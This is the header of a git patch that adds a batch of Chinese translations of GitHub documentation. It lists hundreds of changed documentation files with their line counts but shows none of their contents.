From ebe9ad53d5a2700a2627cd579dab5ac6c0a29605 Mon Sep 17 00:00:00 2001 From: docubot <67483024+docubot@users.noreply.github.com> Date: Wed, 14 Dec 2022 12:03:48 -0500 Subject: [PATCH] New translation batch for cn (#33553) --- translations/log/msft-cn-resets.csv | 1056 ----------------- .../managing-your-subscriptions.md | 78 +- .../viewing-your-subscriptions.md | 62 +- .../about-notifications.md | 108 +- .../configuring-notifications.md | 322 +++-- .../managing-your-profile-readme.md | 84 +- .../personalizing-your-profile.md | 196 ++- .../index.md | 28 + ...r-private-contributions-on-your-profile.md | 43 + ...contributions-to-your-githubcom-profile.md | 63 + ...erview-of-your-activity-on-your-profile.md | 29 + ...roubleshooting-commits-on-your-timeline.md | 74 ++ .../viewing-contributions-on-your-profile.md | 103 ++ ...tributions-not-showing-up-on-my-profile.md | 105 ++ ...utions-and-achievements-on-your-profile.md | 52 +- .../viewing-contributions-on-your-profile.md | 84 +- .../index.md | 26 + .../index.md | 30 + ...-collaborators-to-a-personal-repository.md | 65 + ...uity-of-your-user-accounts-repositories.md | 44 + ...collaborator-from-a-personal-repository.md | 47 + ...ourself-from-a-collaborators-repository.md | 36 + ...an-email-address-to-your-github-account.md | 39 + ...that-expose-your-personal-email-address.md | 32 + .../changing-your-primary-email-address.md | 37 + .../managing-email-preferences/index.md | 32 + .../managing-marketing-emails-from-github.md | 39 + ...membering-your-github-username-or-email.md | 80 ++ .../setting-a-backup-email-address.md | 32 + .../setting-your-commit-email-address.md | 106 ++ .../types-of-emails-github-sends.md | 59 + .../about-your-personal-dashboard.md | 98 ++ ...best-practices-for-leaving-your-company.md | 45 + .../changing-your-github-username.md | 95 ++ .../converting-a-user-into-an-organization.md | 72 ++ .../deleting-your-user-account.md | 54 + .../managing-user-account-settings/index.md | 40 + ...rating-jira-with-your-personal-projects.md | 32 + ...ss-to-your-user-accounts-project-boards.md | 38 + .../managing-accessibility-settings.md | 24 + ...analysis-settings-for-your-user-account.md | 57 + ...fault-branch-name-for-your-repositories.md | 40 + ...ging-your-tab-size-rendering-preference.md | 24 + .../managing-your-theme-settings.md | 56 + .../merging-multiple-user-accounts.md | 52 + ...on-levels-for-a-user-account-repository.md | 96 ++ ...on-levels-for-user-owned-project-boards.md | 69 ++ ...does-the-available-for-hire-checkbox-do.md | 33 + .../about-organization-membership.md | 58 + .../accessing-an-organization.md | 31 + .../index.md | 29 + .../managing-your-scheduled-reminders.md | 53 + ...izing-or-hiding-organization-membership.md | 34 + .../removing-yourself-from-an-organization.md | 38 + ...ng-organization-approval-for-oauth-apps.md | 35 + ...iewing-peoples-roles-in-an-organization.md | 67 ++ ...-collaborators-to-a-personal-repository.md | 63 +- ...collaborator-from-a-personal-repository.md | 41 +- ...ourself-from-a-collaborators-repository.md | 28 +- ...an-email-address-to-your-github-account.md | 23 +- .../managing-email-preferences/index.md | 10 +- ...membering-your-github-username-or-email.md | 55 +- .../setting-your-commit-email-address.md | 56 +- ...best-practices-for-leaving-your-company.md | 47 + .../changing-your-github-username.md | 83 +- .../converting-a-user-into-an-organization.md | 75 ++ .../deleting-your-personal-account.md | 55 + ...fault-branch-name-for-your-repositories.md | 35 +- .../merging-multiple-personal-accounts.md | 53 + ...best-practices-for-leaving-your-company.md | 43 +- .../converting-a-user-into-an-organization.md | 80 +- .../about-continuous-integration.md | 51 +- .../building-and-testing-nodejs-or-python.md | 22 + .../creating-a-docker-container-action.md | 143 ++- .../creating-a-javascript-action.md | 140 +-- .../content/actions/creating-actions/index.md | 2 + .../about-continuous-deployment.md | 42 +- .../deploying-with-github-actions.md | 91 +- ...ing-to-amazon-elastic-container-service.md | 57 +- .../deploying-docker-to-azure-app-service.md | 56 +- .../deploying-java-to-azure-app-service.md | 50 +- .../deploying-net-to-azure-app-service.md | 50 +- .../deploying-nodejs-to-azure-app-service.md | 53 +- .../deploying-php-to-azure-app-service.md | 54 +- .../deploying-python-to-azure-app-service.md | 52 +- .../deploying-to-azure-kubernetes-service.md | 58 +- .../deploying-to-azure-static-web-app.md | 56 +- .../deploying-to-google-kubernetes-engine.md | 111 +- ...ncurrency-expressions-and-a-test-matrix.md | 106 +- ...-hosted-runner-application-as-a-service.md | 102 +- ...and-troubleshooting-self-hosted-runners.md | 159 ++- .../removing-self-hosted-runners.md | 84 +- .../running-scripts-before-or-after-a-job.md | 65 +- .../learn-github-actions/expressions.md | 235 ++-- .../finding-and-customizing-actions.md | 128 +- .../understanding-github-actions.md | 84 +- ...oving-assigned-issues-on-project-boards.md | 60 +- .../disabling-and-enabling-a-workflow.md | 100 +- .../manually-running-a-workflow.md | 62 +- .../re-running-workflows-and-jobs.md | 137 +-- .../viewing-job-execution-time.md | 34 +- .../publishing-docker-images.md | 125 +- .../publishing-nodejs-packages.md | 88 +- .../zh-CN/content/actions/quickstart.md | 121 +- .../security-hardening-for-github-actions.md | 376 +++--- .../using-workflows/about-workflows.md | 105 +- ...hing-dependencies-to-speed-up-workflows.md | 261 ++-- ...starter-workflows-for-your-organization.md | 65 +- .../events-that-trigger-workflows.md | 551 +++++---- ...rets-and-runners-with-your-organization.md | 74 +- .../storing-workflow-data-as-artifacts.md | 128 +- ...ring-secret-scanning-for-your-appliance.md | 59 +- ...ub-advanced-security-in-your-enterprise.md | 408 +++++++ ...b-advanced-security-for-your-enterprise.md | 96 +- ...-of-github-advanced-security-deployment.md | 272 +++++ ...-vulnerability-data-for-your-enterprise.md | 27 +- ...c-user-license-sync-for-your-enterprise.md | 31 +- ...ified-contributions-for-your-enterprise.md | 43 +- ...ling-unified-search-for-your-enterprise.md | 43 +- .../configuring-github-connect/index.md | 10 +- .../configuring-a-hostname.md | 36 +- ...onfiguring-an-outbound-web-proxy-server.md | 33 +- .../configuring-built-in-firewall-rules.md | 46 +- .../configuring-dns-nameservers.md | 22 +- .../configuring-tls.md | 78 +- .../enabling-subdomain-isolation.md | 58 +- ...-enterprise-server-with-a-load-balancer.md | 74 +- .../validating-your-domain-settings.md | 20 +- .../accessing-the-administrative-shell-ssh.md | 50 +- .../configuring-applications.md | 26 +- .../configuring-backups-on-your-appliance.md | 173 ++- .../configuring-email-for-notifications.md | 188 ++- ...guring-github-pages-for-your-enterprise.md | 72 +- ...the-referrer-policy-for-your-enterprise.md | 36 +- .../configuring-web-commit-signing.md | 65 +- ...nabling-and-scheduling-maintenance-mode.md | 93 +- .../enabling-private-mode.md | 23 +- ...aging-github-mobile-for-your-enterprise.md | 40 +- ...ting-network-traffic-to-your-enterprise.md | 63 + .../site-admin-dashboard.md | 272 +++-- .../troubleshooting-ssl-errors.md | 91 ++ .../troubleshooting-tls-errors.md | 56 +- .../cluster-network-configuration.md | 109 +- ...-availability-replication-for-a-cluster.md | 250 ++-- ...ng-a-failover-to-your-replica-appliance.md | 46 +- .../accessing-the-monitor-dashboard.md | 37 +- .../configuring-collectd.md | 52 +- ...ting-a-health-check-for-your-enterprise.md | 55 +- .../monitoring-your-appliance/index.md | 10 +- .../monitoring-using-snmp.md | 118 +- .../recommended-alert-thresholds.md | 46 +- .../enabling-automatic-update-checks.md | 33 +- .../increasing-cpu-or-memory-resources.md | 85 +- .../increasing-storage-capacity.md | 62 +- .../using-a-staging-environment.md | 39 +- ...g-github-actions-with-amazon-s3-storage.md | 40 +- ...-github-actions-with-azure-blob-storage.md | 38 +- ...ithub-actions-with-google-cloud-storage.md | 47 +- ...ions-with-minio-gateway-for-nas-storage.md | 48 + ...bling-github-actions-with-minio-storage.md | 45 +- ...ub-actions-for-github-enterprise-server.md | 119 +- .../about-using-actions-in-your-enterprise.md | 54 +- .../index.md | 30 + .../index.md | 19 + .../identity-and-access-management/index.md | 10 +- ...bout-authentication-for-your-enterprise.md | 151 ++- .../changing-authentication-methods.md | 34 +- .../managing-iam-for-your-enterprise/index.md | 17 +- ...unts-saml-single-sign-on-recovery-codes.md | 31 + ...-accounts-single-sign-on-recovery-codes.md | 30 +- .../configuring-built-in-authentication.md | 47 +- .../disabling-unauthenticated-sign-ups.md | 26 +- .../inviting-people-to-use-your-instance.md | 23 +- .../using-cas-for-enterprise-iam/index.md | 10 +- .../using-cas-for-enterprise-iam/using-cas.md | 45 +- .../about-enterprise-managed-users.md | 102 ++ ...le-sign-on-for-enterprise-managed-users.md | 119 ++ ...-for-enterprise-managed-users-with-okta.md | 95 ++ ...ovisioning-for-enterprise-managed-users.md | 67 ++ .../index.md | 27 + ...mberships-with-identity-provider-groups.md | 78 ++ .../using-ldap-for-enterprise-iam/index.md | 10 +- .../about-saml-for-enterprise-iam.md | 74 +- ...ning-for-your-enterprise-using-azure-ad.md | 58 +- ...isioning-for-your-enterprise-using-okta.md | 174 ++- ...g-user-provisioning-for-your-enterprise.md | 87 ++ ...visioning-with-scim-for-your-enterprise.md | 136 ++- .../enabling-encrypted-assertions.md | 61 +- .../saml-configuration-reference.md | 121 +- ...n-organization-to-an-enterprise-account.md | 43 +- .../updating-a-users-saml-nameid.md | 40 +- ...talling-github-enterprise-server-on-aws.md | 125 +- ...erprise-server-on-google-cloud-platform.md | 87 +- ...thub-enterprise-server-on-openstack-kvm.md | 52 +- ...ling-github-enterprise-server-on-vmware.md | 52 +- ...g-github-enterprise-server-on-xenserver.md | 63 + .../exporting-server-statistics.md | 53 +- .../managing-global-webhooks.md | 111 +- ...es-in-the-audit-log-for-your-enterprise.md | 53 +- ...aming-the-audit-log-for-your-enterprise.md | 339 +++--- ...g-the-audit-log-api-for-your-enterprise.md | 14 +- .../admin/overview/about-data-residency.md | 17 +- .../about-github-enterprise-server.md | 103 +- .../content/admin/overview/system-overview.md | 179 +-- .../enabling-github-packages-with-aws.md | 50 +- .../enabling-github-packages-with-minio.md | 50 +- ...ith-github-packages-for-your-enterprise.md | 48 +- .../about-enterprise-policies.md | 26 +- ...or-advanced-security-in-your-enterprise.md | 40 + ...s-for-github-actions-in-your-enterprise.md | 149 +-- ...s-for-github-copilot-in-your-enterprise.md | 65 + ...oject-board-policies-in-your-enterprise.md | 49 + ...-management-policies-in-your-enterprise.md | 334 +++--- .../about-pre-receive-hooks.md | 37 +- .../creating-a-pre-receive-hook-script.md | 186 ++- .../adding-people-to-teams.md | 28 +- .../continuous-integration-using-jenkins.md | 14 +- .../creating-teams.md | 58 +- ...nowned-organizations-in-your-enterprise.md | 30 + ...ctor-authentication-for-an-organization.md | 69 +- .../restoring-a-deleted-organization.md | 57 +- ...-large-file-storage-for-your-enterprise.md | 92 +- ...viting-people-to-manage-your-enterprise.md | 77 +- .../suspending-and-unsuspending-users.md | 103 +- ...-a-users-saml-access-to-your-enterprise.md | 51 +- .../about-migrations.md | 66 +- ...ing-migration-data-from-your-enterprise.md | 64 +- .../index.md | 10 +- .../migrating-data-to-your-enterprise.md | 155 +-- ...-token-for-use-with-saml-single-sign-on.md | 33 +- ...sh-key-for-use-with-saml-single-sign-on.md | 34 +- ...ng-a-new-ssh-key-to-your-github-account.md | 164 ++- .../checking-for-existing-ssh-keys.md | 41 +- .../testing-your-ssh-connection.md | 36 +- .../about-authentication-to-github.md | 113 +- .../creating-a-strong-password.md | 34 +- .../preventing-unauthorized-access.md | 30 +- ...moving-sensitive-data-from-a-repository.md | 122 +- .../reviewing-your-deploy-keys.md | 31 +- .../reviewing-your-ssh-keys.md | 65 +- .../sudo-mode.md | 78 +- ...updating-your-github-access-credentials.md | 81 +- .../about-commit-signature-verification.md | 127 +- ...adding-a-gpg-key-to-your-github-account.md | 71 +- ...ng-a-new-gpg-key-to-your-github-account.md | 51 + .../associating-an-email-with-your-gpg-key.md | 56 +- ...cation-statuses-for-all-of-your-commits.md | 32 +- .../index.md | 10 +- .../about-two-factor-authentication.md | 31 +- ...-github-using-two-factor-authentication.md | 90 +- .../index.md | 10 +- ...ccount-if-you-lose-your-2fa-credentials.md | 89 +- ...t-and-tag-signature-verification-status.md | 52 +- .../updating-an-expired-gpg-key.md | 30 + .../error-agent-admitted-failure-to-sign.md | 28 +- .../error-key-already-in-use.md | 36 +- .../recovering-your-ssh-key-passphrase.md | 32 +- ...ut-billing-for-github-advanced-security.md | 53 +- ...ing-your-github-advanced-security-usage.md | 112 +- .../about-billing-for-codespaces.md | 80 ++ ...managing-spending-limits-for-codespaces.md | 66 ++ ...g-spending-limits-for-github-codespaces.md | 68 ++ .../viewing-your-codespaces-usage.md | 34 + .../about-billing-for-github-copilot.md | 38 +- .../index.md | 10 +- ...ub-copilot-for-individuals-subscription.md | 61 + ...naging-your-github-copilot-subscription.md | 54 + .../viewing-your-github-copilot-usage.md | 45 + .../about-billing-for-your-enterprise.md | 69 +- ...n-azure-subscription-to-your-enterprise.md | 54 +- .../managing-invoices-for-your-enterprise.md | 62 +- .../upgrading-your-github-subscription.md | 98 +- ...n-and-usage-for-your-enterprise-account.md | 44 +- .../about-licenses-for-github-enterprise.md | 41 +- ...ding-your-license-for-github-enterprise.md | 38 +- ...new-license-to-github-enterprise-server.md | 37 +- ...ing-license-usage-for-github-enterprise.md | 74 +- .../about-code-scanning-alerts.md | 124 +- .../about-code-scanning-with-codeql.md | 56 +- ...ode-scanning-alerts-for-your-repository.md | 231 ++-- ...nning-alerts-in-issues-using-task-lists.md | 80 +- .../viewing-code-scanning-logs.md | 62 +- .../about-integration-with-code-scanning.md | 35 +- ...installing-codeql-cli-in-your-ci-system.md | 69 +- ...isories-in-the-github-advisory-database.md | 190 +++ ...ilities-in-the-github-advisory-database.md | 128 ++ ...isories-in-the-github-advisory-database.md | 59 + .../about-dependabot-version-updates.md | 44 +- ...ion-options-for-the-dependabot.yml-file.md | 378 +++--- .../working-with-dependabot/index.md | 1 + ...-disclosure-of-security-vulnerabilities.md | 76 ++ ...ub-security-advisories-for-repositories.md | 66 ++ ...rator-to-a-repository-security-advisory.md | 50 + ...-writing-repository-security-advisories.md | 92 ++ ...lve-a-repository-security-vulnerability.md | 90 ++ ...creating-a-repository-security-advisory.md | 44 + .../editing-a-repository-security-advisory.md | 48 + .../repository-security-advisories/index.md | 34 + ...vels-for-repository-security-advisories.md | 50 + ...blishing-a-repository-security-advisory.md | 101 ++ ...tor-from-a-repository-security-advisory.md | 42 + ...hdrawing-a-repository-security-advisory.md | 28 + .../secret-scanning/about-secret-scanning.md | 105 +- ...g-secret-scanning-for-your-repositories.md | 93 +- ...ing-a-branch-blocked-by-push-protection.md | 53 +- ...-disclosure-of-security-vulnerabilities.md | 77 ++ .../securing-accounts.md | 112 +- .../end-to-end-supply-chain/securing-code.md | 105 +- .../about-dependency-review.md | 47 +- .../configuring-dependency-review.md | 97 +- .../configuring-the-dependency-graph.md | 46 +- ...pace-to-access-a-private-image-registry.md | 125 ++ ...-codespace-to-access-a-private-registry.md | 129 ++ .../disaster-recovery-for-codespaces.md | 56 + .../security-in-codespaces.md | 121 ++ .../security-in-github-codespaces.md | 121 +- .../understanding-billing-for-codespaces.md | 67 ++ ...rstanding-billing-for-github-codespaces.md | 68 ++ .../using-github-copilot-in-codespaces.md | 28 + ...rsonalizing-codespaces-for-your-account.md | 107 ++ ...ting-your-default-editor-for-codespaces.md | 30 + ...ting-your-default-region-for-codespaces.md | 28 + ...ting-your-timeout-period-for-codespaces.md | 61 + .../codespaces-lifecycle.md | 89 ++ .../creating-a-codespace.md | 161 +++ .../renaming-a-codespace.md | 59 + .../the-codespace-lifecycle.md | 72 ++ .../using-codespaces-for-pull-requests.md | 48 + .../using-codespaces-in-visual-studio-code.md | 119 ++ .../using-codespaces-with-github-cli.md | 202 ++++ ...abling-codespaces-for-your-organization.md | 69 ++ ...ing-for-codespaces-in-your-organization.md | 55 + ...-github-codespaces-in-your-organization.md | 61 + ...ository-and-organization-for-codespaces.md | 77 ++ ...organizations-audit-logs-for-codespaces.md | 29 + ...g-encrypted-secrets-for-your-codespaces.md | 10 +- ...anaging-gpg-verification-for-codespaces.md | 39 + ...ewing-your-security-logs-for-codespaces.md | 30 + .../about-codespaces-prebuilds.md | 53 + .../troubleshooting/codespaces-logs.md | 110 ++ .../troubleshooting-codespaces-clients.md | 43 + ...shooting-port-forwarding-for-codespaces.md | 28 + ...eshooting-your-connection-to-codespaces.md | 52 + .../working-with-support-for-codespaces.md | 41 + .../about-wikis.md | 33 +- .../changing-access-permissions-for-wikis.md | 22 +- .../editing-wiki-content.md | 64 +- ...ting-interactions-for-your-user-account.md | 36 + ...reating-a-default-community-health-file.md | 61 +- ...-guidelines-for-repository-contributors.md | 69 +- ...uring-github-copilot-in-a-jetbrains-ide.md | 111 +- ...ng-github-copilot-in-visual-studio-code.md | 127 +- ...iguring-github-copilot-in-visual-studio.md | 17 +- ...b-copilot-settings-in-your-organization.md | 143 +++ ...-with-github-copilot-in-a-jetbrains-ide.md | 122 +- ...g-started-with-github-copilot-in-neovim.md | 33 +- ...th-github-copilot-in-visual-studio-code.md | 84 +- ...ed-with-github-copilot-in-visual-studio.md | 84 +- .../about-github-copilot.md | 45 +- .../zh-CN/content/copilot/quickstart.md | 78 +- ...epository-from-github-to-github-desktop.md | 42 +- .../making-changes-in-a-branch/index.md | 10 +- ...nging-a-remotes-url-from-github-desktop.md | 32 + .../about-connections-to-github.md | 20 +- .../authenticating-to-github.md | 148 ++- .../authenticating-with-github-apps.md | 117 +- ...g-allowed-ip-addresses-for-a-github-app.md | 37 +- .../rate-limits-for-github-apps.md | 41 +- ...ment-environment-to-create-a-github-app.md | 297 ++--- .../using-the-github-api-in-your-app.md | 194 +-- .../requirements-for-listing-an-app.md | 76 +- .../security-best-practices-for-apps.md | 80 +- ...ting-a-listing-description-for-your-app.md | 204 ++-- ...icing-plans-for-github-marketplace-apps.md | 48 +- .../developers/overview/about-githubs-apis.md | 77 +- .../overview/managing-deploy-keys.md | 191 +-- .../secret-scanning-partner-program.md | 223 ++-- .../events/issue-event-types.md | 665 +++++------ ...ting-with-maintainers-using-discussions.md | 91 +- .../participating-in-a-discussion.md | 64 +- .../guides/finding-your-discussions.md | 28 +- .../creating-discussion-category-forms.md | 39 + .../managing-categories-for-discussions.md | 92 +- .../syntax-for-discussion-category-forms.md | 54 + ...about-github-global-campus-for-students.md | 52 +- ...about-github-global-campus-for-teachers.md | 40 +- .../about-campus-advisors.md | 28 + .../about-github-community-exchange.md | 35 + .../about-github-education-for-students.md | 30 + .../apply-for-a-student-developer-pack.md | 61 + .../use-github-for-your-schoolwork/index.md | 22 + ...n-for-a-student-developer-pack-approved.md | 78 ++ ...education-for-educators-and-researchers.md | 38 + ...-for-an-educator-or-researcher-discount.md | 40 + .../index.md | 21 + ...ducator-or-researcher-discount-approved.md | 53 + .../glossary.md | 40 +- ...g-makecode-arcade-with-github-classroom.md | 30 +- .../integrate-github-classroom-with-an-ide.md | 44 +- .../view-autograding-results.md | 32 +- ...g-management-system-to-github-classroom.md | 146 +++ .../manage-classrooms.md | 181 ++- ...e-the-git-and-github-starter-assignment.md | 93 +- .../github-extensions-and-integrations.md | 52 +- ...-to-contribute-to-open-source-on-github.md | 48 +- .../following-organizations.md | 52 +- .../associating-text-editors-with-git.md | 87 +- .../caching-your-github-credentials-in-git.md | 59 +- ...ing-credentials-from-the-macos-keychain.md | 38 +- ...hy-is-git-always-asking-for-my-password.md | 22 +- .../adding-locally-hosted-code-to-github.md | 154 +-- ...a-git-repository-using-the-command-line.md | 44 +- ...rting-a-repository-with-github-importer.md | 53 +- .../access-permissions-on-github.md | 51 +- .../types-of-github-accounts.md | 75 +- .../getting-started-with-github-team.md | 97 +- ...etting-started-with-your-github-account.md | 218 ++-- .../get-started/quickstart/be-social.md | 74 +- .../get-started/quickstart/create-a-repo.md | 91 +- .../git-and-github-learning-resources.md | 50 +- .../verifying-your-email-address.md | 75 +- .../get-started/using-git/about-git-rebase.md | 74 +- .../get-started/using-github/github-mobile.md | 95 +- .../about-writing-and-formatting-on-github.md | 44 +- .../autolinked-references-and-urls.md | 64 +- .../writing-mathematical-expressions.md | 55 +- .../github-cli/github-cli/quickstart.md | 36 +- .../copilot/about-github-copilot-telemetry.md | 33 + .../copilot/github-copilot-telemetry-terms.md | 22 + .../zh-CN/content/github/copilot/index.md | 16 + .../github/copilot/research-recitation.md | 146 +++ translations/zh-CN/content/github/index.md | 22 + .../guides/forming-calls-with-graphql.md | 249 ++-- .../graphql/guides/introduction-to-graphql.md | 86 +- .../guides/migrating-from-rest-to-graphql.md | 67 +- .../graphql/overview/about-the-graphql-api.md | 61 +- .../customizing-a-view.md | 6 +- .../index.md | 5 +- .../about-date-fields.md | 28 + .../about-iteration-fields.md | 81 ++ .../about-single-select-fields.md | 45 + .../about-text-and-number-fields.md | 42 + .../deleting-fields.md | 23 + .../understanding-field-types/index.md | 24 + .../renaming-fields.md | 22 + .../about-task-lists.md | 81 ++ .../about-projects.md | 69 ++ .../automating-projects.md | 585 +++++++++ .../best-practices-for-managing-projects.md | 87 ++ .../creating-a-project.md | 209 ++++ .../customizing-your-project-views.md | 209 ++++ .../filtering-projects.md | 31 + .../index.md | 32 + .../managing-access-to-projects.md | 95 ++ .../managing-iterations.md | 70 ++ .../managing-projects.md | 48 + ...anaging-the-visibility-of-your-projects.md | 38 + .../migrating-your-project.md | 62 + .../quickstart.md | 171 +++ .../using-insights-with-projects.md | 48 + .../using-the-api-to-manage-projects.md | 721 +++++++++++ .../about-your-organizations-news-feed.md | 27 +- ...-authentication-and-saml-single-sign-on.md | 27 +- ...embers-saml-access-to-your-organization.md | 65 +- ...ur-organizations-installed-integrations.md | 36 + ...ithub-app-managers-in-your-organization.md | 42 + .../index.md | 26 + ...hub-app-managers-from-your-organization.md | 42 + ...rs-to-repositories-in-your-organization.md | 48 + ...tside-collaborator-in-your-organization.md | 31 + ...ation-member-to-an-outside-collaborator.md | 65 + ...-collaborator-to-an-organization-member.md | 34 + .../index.md | 36 + ...ls-access-to-an-organization-repository.md | 57 + ...am-access-to-an-organization-repository.md | 66 ++ ...llaborators-access-to-your-organization.md | 74 ++ ...borator-from-an-organization-repository.md | 67 ++ .../repository-roles-for-an-organization.md | 174 +++ ...ng-base-permissions-for-an-organization.md | 45 + ...g-people-with-access-to-your-repository.md | 47 + .../about-ssh-certificate-authorities.md | 50 +- ...nviting-users-to-join-your-organization.md | 36 +- .../deleting-an-organization-account.md | 37 +- ...ng-github-actions-for-your-organization.md | 167 +-- ...ing-project-boards-in-your-organization.md | 44 +- ...ra-with-your-organization-project-board.md | 54 +- ...e-for-repositories-in-your-organization.md | 39 +- ...he-forking-policy-for-your-organization.md | 40 +- ...-security-managers-in-your-organization.md | 56 +- ...saml-single-sign-on-and-scim-using-okta.md | 78 +- ...shooting-identity-and-access-management.md | 94 ++ .../about-teams.md | 75 +- .../about-oauth-app-access-restrictions.md | 71 ++ ...roving-oauth-apps-for-your-organization.md | 32 + ...pproved-oauth-app-for-your-organization.md | 26 + ...cess-restrictions-for-your-organization.md | 32 + ...cess-restrictions-for-your-organization.md | 37 + .../index.md | 27 + .../about-permissions-for-github-packages.md | 97 +- ...-packages-access-control-and-visibility.md | 193 +-- .../connecting-a-repository-to-a-package.md | 45 +- .../deleting-and-restoring-a-package.md | 274 +++-- .../installing-a-package.md | 30 +- .../introduction-to-github-packages.md | 98 +- .../publishing-a-package.md | 39 +- .../learn-github-packages/viewing-packages.md | 61 +- ...nstalling-a-package-with-github-actions.md | 198 ++-- .../working-with-the-apache-maven-registry.md | 62 +- .../working-with-the-container-registry.md | 99 +- .../working-with-the-docker-registry.md | 172 ++- .../working-with-the-gradle-registry.md | 104 +- .../working-with-the-npm-registry.md | 144 +-- .../working-with-the-nuget-registry.md | 107 +- .../about-custom-domains-and-github-pages.md | 68 +- .../about-github-pages.md | 149 ++- ...ithub-pages-site-with-the-theme-chooser.md | 63 + ...he-visibility-of-your-github-pages-site.md | 47 +- .../creating-a-github-pages-site.md | 55 +- ...reating-a-github-pages-site-with-jekyll.md | 91 +- ...a-merge-conflict-using-the-command-line.md | 70 +- .../about-pull-request-merges.md | 88 +- .../merging-a-pull-request.md | 70 +- ...pull-request-branch-created-from-a-fork.md | 71 +- ...eleting-branches-within-your-repository.md | 83 +- ...ll-request-in-sync-with-the-base-branch.md | 63 +- ...ng-dependency-changes-in-a-pull-request.md | 71 +- .../configuring-a-remote-for-a-fork.md | 42 + ...g-an-upstream-repository-into-your-fork.md | 40 + .../changing-a-commit-message.md | 79 +- ...g-a-commit-on-behalf-of-an-organization.md | 66 +- ...creating-a-commit-with-multiple-authors.md | 78 +- ...sts-on-github-but-not-in-my-local-clone.md | 67 +- ...are-my-commits-linked-to-the-wrong-user.md | 51 +- .../archiving-repositories.md | 63 +- .../backing-up-a-repository.md | 41 +- .../referencing-and-citing-content.md | 40 +- .../about-merge-methods-on-github.md | 42 +- ...guring-commit-merging-for-pull-requests.md | 33 +- ...uring-commit-rebasing-for-pull-requests.md | 23 +- ...ring-commit-squashing-for-pull-requests.md | 33 +- .../configuring-pull-request-merges/index.md | 10 +- ...ge-for-pull-requests-in-your-repository.md | 23 +- ...ging-the-automatic-deletion-of-branches.md | 25 +- .../managing-a-branch-protection-rule.md | 191 ++- .../renaming-a-branch.md | 49 +- .../cloning-a-repository.md | 76 +- .../restoring-a-deleted-repository.md | 43 +- .../troubleshooting-cloning-errors.md | 115 +- .../licensing-a-repository.md | 118 +- ...ithub-actions-settings-for-a-repository.md | 178 ++- ...tolinks-to-reference-external-resources.md | 59 +- ...d-people-with-access-to-your-repository.md | 88 +- .../setting-repository-visibility.md | 81 +- .../about-releases.md | 61 +- .../comparing-releases.md | 29 +- .../linking-to-releases.md | 30 +- .../adding-a-file-to-a-repository.md | 49 +- .../about-large-files-on-github.md | 69 +- .../getting-permanent-links-to-files.md | 42 +- .../content/rest/activity/notifications.md | 59 +- .../content/rest/apps/oauth-applications.md | 13 +- .../content/rest/codespaces/codespaces.md | 13 +- .../zh-CN/content/rest/codespaces/index.md | 10 +- .../zh-CN/content/rest/codespaces/machines.md | 17 +- .../rest/codespaces/organization-secrets.md | 23 + .../content/rest/codespaces/organizations.md | 14 +- .../rest/codespaces/repository-secrets.md | 17 +- .../zh-CN/content/rest/codespaces/secrets.md | 15 +- .../zh-CN/content/rest/dependabot/index.md | 8 +- .../rest/enterprise-admin/admin-stats.md | 15 +- .../rest/enterprise-admin/announcement.md | 17 +- .../content/rest/enterprise-admin/billing.md | 9 +- .../rest/enterprise-admin/global-webhooks.md | 17 +- .../content/rest/enterprise-admin/index.md | 45 +- .../content/rest/enterprise-admin/ldap.md | 13 +- .../content/rest/enterprise-admin/license.md | 15 +- .../enterprise-admin/management-console.md | 31 +- .../enterprise-admin/org-pre-receive-hooks.md | 29 +- .../content/rest/enterprise-admin/orgs.md | 15 +- .../pre-receive-environments.md | 43 +- .../enterprise-admin/pre-receive-hooks.md | 36 +- .../repo-pre-receive-hooks.md | 27 +- .../content/rest/enterprise-admin/users.md | 15 +- translations/zh-CN/content/rest/git/blobs.md | 12 +- .../zh-CN/content/rest/git/commits.md | 14 +- translations/zh-CN/content/rest/git/index.md | 14 +- translations/zh-CN/content/rest/git/refs.md | 14 +- translations/zh-CN/content/rest/git/tags.md | 14 +- translations/zh-CN/content/rest/git/trees.md | 14 +- translations/zh-CN/content/rest/gitignore.md | 22 +- .../guides/best-practices-for-integrators.md | 10 +- .../discovering-resources-for-a-user.md | 13 +- .../rest/guides/traversing-with-pagination.md | 316 +++++ .../using-pagination-in-the-rest-api.md | 185 +++ .../rest/guides/working-with-comments.md | 69 +- .../content/rest/migrations/source-imports.md | 17 +- .../content/rest/overview/api-versions.md | 8 +- .../overview/resources-in-the-rest-api.md | 353 +++--- .../content/rest/overview/troubleshooting.md | 10 +- translations/zh-CN/content/rest/packages.md | 27 +- translations/zh-CN/content/rest/pages.md | 10 +- .../zh-CN/content/rest/projects/cards.md | 11 +- .../content/rest/projects/collaborators.md | 11 +- .../zh-CN/content/rest/projects/columns.md | 11 +- .../zh-CN/content/rest/projects/index.md | 8 +- .../zh-CN/content/rest/projects/projects.md | 9 +- translations/zh-CN/content/rest/quickstart.md | 356 ++++++ translations/zh-CN/content/rest/rate-limit.md | 26 +- translations/zh-CN/content/rest/reactions.md | 15 +- .../zh-CN/content/rest/reference/actions.md | 23 + .../zh-CN/content/rest/reference/activity.md | 23 + .../zh-CN/content/rest/reference/apps.md | 23 + .../zh-CN/content/rest/reference/billing.md | 20 + .../zh-CN/content/rest/reference/branches.md | 22 + .../zh-CN/content/rest/reference/checks.md | 23 + .../content/rest/reference/code-scanning.md | 27 + .../rest/reference/codes-of-conduct.md | 24 + .../content/rest/reference/codespaces.md | 20 + .../content/rest/reference/collaborators.md | 22 + .../zh-CN/content/rest/reference/commits.md | 22 + .../content/rest/reference/dependabot.md | 20 + .../rest/reference/dependency-graph.md | 21 + .../content/rest/reference/deployments.md | 22 + .../zh-CN/content/rest/reference/emojis.md | 24 + .../rest/reference/enterprise-admin.md | 26 + .../zh-CN/content/rest/reference/gists.md | 23 + .../zh-CN/content/rest/reference/git.md | 24 + .../zh-CN/content/rest/reference/gitignore.md | 23 + .../zh-CN/content/rest/reference/index.md | 62 + .../content/rest/reference/interactions.md | 21 + .../zh-CN/content/rest/reference/issues.md | 23 + .../zh-CN/content/rest/reference/licenses.md | 23 + .../zh-CN/content/rest/reference/markdown.md | 23 + .../zh-CN/content/rest/reference/meta.md | 23 + .../zh-CN/content/rest/reference/metrics.md | 24 + .../content/rest/reference/migrations.md | 25 + .../rest/reference/oauth-authorizations.md | 18 + .../zh-CN/content/rest/reference/orgs.md | 24 + .../zh-CN/content/rest/reference/packages.md | 20 + .../zh-CN/content/rest/reference/pages.md | 22 + .../zh-CN/content/rest/reference/projects.md | 23 + .../zh-CN/content/rest/reference/pulls.md | 23 + .../content/rest/reference/rate-limit.md | 24 + .../zh-CN/content/rest/reference/reactions.md | 23 + 